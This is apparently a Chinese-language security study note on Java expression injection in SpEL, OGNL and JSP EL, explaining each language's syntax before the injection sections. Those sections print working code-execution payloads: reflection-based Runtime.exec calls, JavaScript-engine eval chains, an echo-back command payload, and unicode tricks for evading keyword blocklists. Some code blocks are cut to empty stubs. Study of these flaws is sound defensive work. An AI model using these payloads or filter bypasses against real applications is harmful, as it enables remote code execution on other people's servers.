spel基础参考:https://www.mi1k7ea.com/2020/01/10/SpEL
SpEL简介
在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
SpEL定界符——#{}
SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。
这里需要注意#{}和${}的区别:
- #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
- ${}主要用于加载外部属性文件中的值;
- 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;
SpEL表达式注入漏洞
漏洞原理
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
1 |
|
PoC&Bypass整理
下面我们来整理下各种利用的PoC,这里默认把定界符#{}去掉。
1 | // PoC原型 |
CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:
1 | message = input('Enter message to encode:') |
一些bypass技巧:
参考:https://boogipop.com/2023/08/06/SPEL
OGNL是什么?
先来看一个例子:
1 | Class SchoolMaster{ |
创建实例学校school = new School()、学生student = new Student()和校长schoolMaster = new SchoolMaster(),将学校校长指定为schoolMaster实例-school.schoolMaster = schoolMaster,学生的学校指定为school实例-student.school = school,那么三者就连接起来了形成了一个对象图,对象图基本可以理解为对象之间的依赖图。通过对象图我们可以获取到对象的属性甚至对象的方法。
那么OGNL就是实现对象图导航语言,全称Object-Graph Navigation Language。通过它我们可以存取 Java对象的任意属性、调用 Java 对象的方法以及实现类型转换等。
OGNL三元素
OGNL基本使用方法示例:
1 | // 创建Student对象 |
输出结果:
1 | xiaoming:学校-tsinghua,校长-wanghua |
不难看出,OGNL getValue需要三元素:expression表达式、context上下文及root对象。那么什么是三元素:
expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作;
context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。
在上面示例中,根对象是student1实例,context中设置了根对象和非根对象student2,表达式有name、school.name、school.schoolMaster.name和student2.name、#student2.school.name、student2.school.schoolMaster.name,前三个是通过表达式获取root也就是student1对象的相关属性,后三个是通过表达式获取容器变量student2对象的相关属性。
OGNL表达式语法
符号的使用:
在上一部分我们已经接触了.和#符号在表达式中的使用,通过.可以获取对象属性,#可以获取非root的Student对象。
OGNL表达式支持Java基本运算,所以运算符+、-、*、/、%等在OGNL都是支持的,另外还支持in、eq、gt等。
除了基本运算符,.、@、#在OGNL中都有特殊含义。
1、通过.获取对象的属性或方法:
1 | student |
2、三种类型对象的获取:
静态对象、静态方法和静态变量:@
1 | .lang.System |
非原生类型对象:#
1 | #student.name |
简单对象:直接获取
1 | "string".lenth |
3、%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
4、$在配置文件中引用OGNL表达式。
集合表达式:
new创建实例:
1 | new java.lang.String("testnew") |
{}和[]的用法:
在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。
创建list:{value1,value2…}
1 | {1,3,5}[1] |
创建数组:new type[]{value1,value2…}
1 | new int[]{1,3,5}[0] |
创建map:#{key:value,key1:value1…}
1 | #{"name":"xiaoming","school":"tsinghua"}["school"] |
除了一些符号和集合,还支持Projection投影和Selection选择等,具体可参考官方文档:https://commons.apache.org/proper/commons-ognl/language-guide.html 附录Operators部分。
命令执行调试分析
通过上面表达式的学习我们很容易能够写出Java执行命令的表达式:
1 |
|
关键字绕过
假如题目中对用户的输入进行了关键字的黑名单(以new为例),那么实际上我们可以使用unicode字符进行绕过:
1 | String str = "(\u006eew java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()"; |
那么假如存在一个正则表达式\u\d{4},将对应的unicode先解析了一遍,再进行黑名单,还有方法绕过吗?实际上这里又存在一个trick,即\uxxxx中的u是可以写一个或多个的,具体原因在于ognl.JavaCharStream#readChar方法中:
所以上述OGNL表达式可以改写为:
1 | String str = "(\uuuuuuuuuuuuuuuu006eew java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()"; |
参考:https://xz.aliyun.com/t/10482
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/OGNL/
https://paper.seebug.org/794/#0x03-ognl
https://www.freebuf.com/vuls/168609.html
https://chenlvtang.top/2022/08/11/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BOGNL/
EL简介
EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
EL表达式主要功能如下:
- 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null};
- 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;
基本语法
EL语法
在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。例如,${ userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${ pageScope. userinfo}表示访问page范围中的userinfo变量。
简单地说,使用EL表达式语法:${EL表达式}
其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。
扩展JSP代码的写法总结:
- JSP表达式:<%=变量或表达式>向浏览器输出变量或表达式的计算结果。
- JSP脚本:<%Java代码%>执行java代码的原理:翻译到_jspService()方法中。
- JSP声明:<%!变量或方法%>声明jsp的成员变量或成员方法。
- JSP注释:<%!–JSP注释–%>用于注释JSP代码,不会翻译到Java文件中,也不会执行。
[ ]与.运算符
EL表达式提供.和[]两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符,如.或-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user[“My-Name”]}。
如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。
变量
EL表达式存取变量数据的方法很简单,例如:${username}。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username,所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传””。EL表达式的属性如下:
属性范围在EL中的名称 | |
---|---|
Page | PageScope |
Request | RequestScope |
Session | SessionScope |
Application | ApplicationScope |
JSP表达式语言定义可在表达式中使用的以下文字:
文字 | 文字的值 |
---|---|
Boolean | true 和 false |
Integer | 与 Java 类似。可以包含任何整数,例如 24、-45、567 |
Floating Point | 与 Java 类似。可以包含任何正的或负的浮点数,例如 -1.8E-45、4.567 |
String | 任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠,使用反斜杠字符作为转义序列。必须注意,如果在字符串两端使用双引号,则单引号不需要转义。 |
Null | null |
操作符
JSP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:
术语 | 定义 |
---|---|
算术型 | +、-(二元)、*、/、div、%、mod、-(一元) |
逻辑型 | and、&&、or、双管道符、!、not |
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 | empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
JSP表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:
术语 | 定义 |
---|---|
pageContext | JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response}为页面的响应对象赋值。 |
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。 |
paramValues | 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。 |
header | 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。 |
headerValues | 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。 |
cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。 |
initParam | 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 |
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。 |
requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。 |
sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name} |
applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 |
pageContext对象
pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:
1 | ${pageContext.request.queryString} |
Scope对象
pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。
举例来说,如果您需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box。
1 | <% |
param和paramValues对象
param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。
举例来说,访问一个名为order的参数,可以这样使用表达式:${param.order},或者${param[“order”]}。
接下来的例子表明了如何访问request中的username参数:
1 | <%@ page import="java.io.*,java.util.*" %> |
param对象返回单一的字符串,而paramValues对象则返回一个字符串数组。
header和headerValues对象
header和headerValues对象用来访问信息头,通过使用request.getHeader()方法和request.getHeaders()方法。
举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header[“user-agent”]}。
接下来的例子表明了如何访问user-agent信息头:
1 | <%@ page import="java.io.*,java.util.*" %> |
header对象返回单一值,而headerValues则返回一个字符串数组。
JSP中启动/禁用EL表达式
全局禁用EL表达式
web.xml中进入如下配置:
1 | <jsp-config> |
单个文件禁用EL表达式
在JSP文件中可以有如下定义:
1 | <%@ page isELIgnored="true" %> |
该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。
EL表达式注入漏洞
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
通用PoC
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
比如我们在Java程序中可以控制输入EL表达式如下:
1 | ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))} |
如果该EL表达式直接在JSP页面中执行,则触发任意代码执行漏洞:
但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。
绕过方法
这里针对前面在Java代码中注入EL表达式的例子来演示。其实绕过方法和SpEL表达式注入是一样的。
利用反射机制绕过
即前面Demo的PoC,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。
利用ScriptEngine调用JS引擎绕过
同SpEL注入中讲到的:
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")} |
无回显执行命令
可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。
样例如下:
1 | code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")} |
或者是借助js引擎
1 | code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")} |
不过两者都是无回显的,不优雅。
有回显执行命令
最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:
1 | ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")} |
由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。
所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。
经过简化后,我们的payload如下:
1 | ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")} |
任意代码执行
在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:
1 | code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))} |
ant参数内容如下:
1 |
|